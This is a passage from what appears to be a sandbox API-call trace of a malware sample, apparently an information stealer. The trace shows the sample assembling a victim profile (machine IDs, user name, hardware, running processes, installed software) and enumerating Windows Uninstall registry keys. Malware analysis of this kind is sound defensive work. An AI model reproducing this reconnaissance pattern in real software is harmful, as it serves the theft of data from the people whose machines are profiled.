[3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]"
[0054.980] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\n"
[0054.980] RegCloseKey (hKey=0x514) returned 0x0
[0054.980] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x3b, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.980] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757") returned 100
[0054.981] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.981] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.981] RegCloseKey (hKey=0x514) returned 0x0
[0054.981] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x3c, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.981] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173") returned 100
[0054.981] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.981] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.981] RegCloseKey (hKey=0x514) returned 0x0
[0054.981] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x3d, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.981] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860") returned 100
[0054.981] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.981] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.981] RegCloseKey (hKey=0x514) returned 0x0
[0054.981] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x3e, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.981] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655") returned 100
[0054.981] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.981] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
